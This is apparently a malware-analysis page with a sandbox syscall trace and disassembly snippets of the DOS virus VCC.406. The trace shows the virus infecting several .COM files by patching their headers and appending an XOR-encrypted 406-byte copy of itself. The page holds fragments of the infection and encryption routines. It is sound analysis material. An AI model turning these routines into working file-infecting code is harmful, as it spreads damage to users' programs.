Sample viewer

vx.netlux.org/Virus.DOS.VCC.406

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:33.708779117Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T22:35:33.711498769Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:35:33.712843581Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:35:33.714281844Z 78 PC: 12acf | Find first file
2018-12-17T22:35:33.721299574Z 61 PC: 12b6a | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:35:33.727895082Z 63 PC: 12b79 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:35:33.734383368Z 66 PC: 12b88 | Move file pointer
2018-12-17T22:35:33.736342998Z 66 PC: 12b97 | Move file pointer
2018-12-17T22:35:33.737763311Z 64 PC: 12ba3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:35:33.740456232Z 66 PC: 12baf | Move file pointer
2018-12-17T22:35:33.743006475Z 44 PC: 12bb3 | Get time 0x12bb3: mov byte ptr [bp + 0x196], dl
0x12bb7: call 0x12bcd
0x12bba: mov ah, 0x40
0x12bbc: mov cx, 0x196
0x12bbf: lea dx, word ptr [bp + 6]
0x12bc3: int 0x21
0x12bc5: call 0x12bcd
0x12bc8: mov ah, 0x3e
0x12bca: int 0x21
0x12bcc: ret
0x12bcd: lea si, word ptr [bp + 0x1f]
0x12bd1: mov cx, 0x158
0x12bd4: xor byte ptr [si], 0
0x12bd7: inc si
0x12bd8: dec cx
0x12bd9: jne 0x12bd4
0x12bdb: ret
0x12bdc: add word ptr [bx], di
0x12bde: aas
0x12bdf: aas
2018-12-17T22:35:33.745637586Z 64 PC: 12bc5 | Write file or device (Write 406 bytes on handle 5)
2018-12-17T22:35:33.759112787Z 62 PC: 12bcc | Close file
2018-12-17T22:35:33.769984255Z 79 PC: 12acf | Find next file
2018-12-17T22:35:33.772631812Z 61 PC: 12b6a | Open file (Filename = 'PRINT.COM')
2018-12-17T22:35:33.779501791Z 63 PC: 12b79 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:35:33.786528866Z 66 PC: 12b88 | Move file pointer
2018-12-17T22:35:33.790305366Z 66 PC: 12b97 | Move file pointer
2018-12-17T22:35:33.791518087Z 64 PC: 12ba3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:35:33.794085887Z 66 PC: 12baf | Move file pointer
2018-12-17T22:35:33.800933705Z 44 PC: 12bb3 | Get time 0x12bb3: mov byte ptr [bp + 0x196], dl
0x12bb7: call 0x12bcd
0x12bba: mov ah, 0x40
0x12bbc: mov cx, 0x196
0x12bbf: lea dx, word ptr [bp + 6]
0x12bc3: int 0x21
0x12bc5: call 0x12bcd
0x12bc8: mov ah, 0x3e
0x12bca: int 0x21
0x12bcc: ret
0x12bcd: lea si, word ptr [bp + 0x1f]
0x12bd1: mov cx, 0x158
0x12bd4: xor byte ptr [si], 0x42
0x12bd7: inc si
0x12bd8: dec cx
0x12bd9: jne 0x12bd4
0x12bdb: ret
0x12bdc: add word ptr [bx], di
0x12bde: aas
0x12bdf: aas
2018-12-17T22:35:33.803231355Z 64 PC: 12bc5 | Write file or device (Write 406 bytes on handle 5)
2018-12-17T22:35:33.80613894Z 62 PC: 12bcc | Close file
2018-12-17T22:35:33.81419466Z 79 PC: 12acf | Find next file
2018-12-17T22:35:33.817452557Z 61 PC: 12b6a | Open file (Filename = 'HELLO.COM')
2018-12-17T22:35:33.825887369Z 63 PC: 12b79 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:35:33.834705733Z 66 PC: 12b88 | Move file pointer
2018-12-17T22:35:33.836276163Z 66 PC: 12b97 | Move file pointer
2018-12-17T22:35:33.837708929Z 64 PC: 12ba3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:35:33.841439529Z 66 PC: 12baf | Move file pointer
2018-12-17T22:35:33.8430245Z 44 PC: 12bb3 | Get time 0x12bb3: mov byte ptr [bp + 0x196], dl
0x12bb7: call 0x12bcd
0x12bba: mov ah, 0x40
0x12bbc: mov cx, 0x196
0x12bbf: lea dx, word ptr [bp + 6]
0x12bc3: int 0x21
0x12bc5: call 0x12bcd
0x12bc8: mov ah, 0x3e
0x12bca: int 0x21
0x12bcc: ret
0x12bcd: lea si, word ptr [bp + 0x1f]
0x12bd1: mov cx, 0x158
0x12bd4: xor byte ptr [si], 0x48
0x12bd7: inc si
0x12bd8: dec cx
0x12bd9: jne 0x12bd4
0x12bdb: ret
0x12bdc: add word ptr [bx], di
0x12bde: aas
0x12bdf: aas
2018-12-17T22:35:33.845155909Z 64 PC: 12bc5 | Write file or device (Write 406 bytes on handle 5)
2018-12-17T22:35:33.853082528Z 62 PC: 12bcc | Close file
2018-12-17T22:35:33.860674724Z 79 PC: 12acf | Find next file
2018-12-17T22:35:33.863117354Z 61 PC: 12b6a | Open file (Filename = 'PHANG.COM')
2018-12-17T22:35:33.870321853Z 63 PC: 12b79 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:35:33.876712718Z 66 PC: 12b88 | Move file pointer
2018-12-17T22:35:33.877947226Z 66 PC: 12b97 | Move file pointer
2018-12-17T22:35:33.879789796Z 64 PC: 12ba3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:35:33.882247142Z 66 PC: 12baf | Move file pointer
2018-12-17T22:35:33.883512689Z 44 PC: 12bb3 | Get time 0x12bb3: mov byte ptr [bp + 0x196], dl
0x12bb7: call 0x12bcd
0x12bba: mov ah, 0x40
0x12bbc: mov cx, 0x196
0x12bbf: lea dx, word ptr [bp + 6]
0x12bc3: int 0x21
0x12bc5: call 0x12bcd
0x12bc8: mov ah, 0x3e
0x12bca: int 0x21
0x12bcc: ret
0x12bcd: lea si, word ptr [bp + 0x1f]
0x12bd1: mov cx, 0x158
0x12bd4: xor byte ptr [si], 0x48
0x12bd7: inc si
0x12bd8: dec cx
0x12bd9: jne 0x12bd4
0x12bdb: ret
0x12bdc: add word ptr [bx], di
0x12bde: aas
0x12bdf: aas
2018-12-17T22:35:33.886303318Z 64 PC: 12bc5 | Write file or device (Write 406 bytes on handle 5)
2018-12-17T22:35:33.888933103Z 62 PC: 12bcc | Close file
2018-12-17T22:35:33.896675488Z 79 PC: 12acf | Find next file
2018-12-17T22:35:33.899610322Z 61 PC: 12b6a | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:35:33.906159665Z 63 PC: 12b79 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:35:33.912436687Z 66 PC: 12b88 | Move file pointer
2018-12-17T22:35:33.914710794Z 66 PC: 12b97 | Move file pointer
2018-12-17T22:35:33.916210889Z 64 PC: 12ba3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:35:33.918730299Z 66 PC: 12baf | Move file pointer
2018-12-17T22:35:33.920260172Z 44 PC: 12bb3 | Get time 0x12bb3: mov byte ptr [bp + 0x196], dl
0x12bb7: call 0x12bcd
0x12bba: mov ah, 0x40
0x12bbc: mov cx, 0x196
0x12bbf: lea dx, word ptr [bp + 6]
0x12bc3: int 0x21
0x12bc5: call 0x12bcd
0x12bc8: mov ah, 0x3e
0x12bca: int 0x21
0x12bcc: ret
0x12bcd: lea si, word ptr [bp + 0x1f]
0x12bd1: mov cx, 0x158
0x12bd4: xor byte ptr [si], 0x4d
0x12bd7: inc si
0x12bd8: dec cx
0x12bd9: jne 0x12bd4
0x12bdb: ret
0x12bdc: add word ptr [bx], di
0x12bde: aas
0x12bdf: aas
2018-12-17T22:35:33.923292921Z 64 PC: 12bc5 | Write file or device (Write 406 bytes on handle 5)
2018-12-17T22:35:33.926363239Z 62 PC: 12bcc | Close file
2018-12-17T22:35:34.019368007Z 26 PC: 12ae9 | Set disk transfer address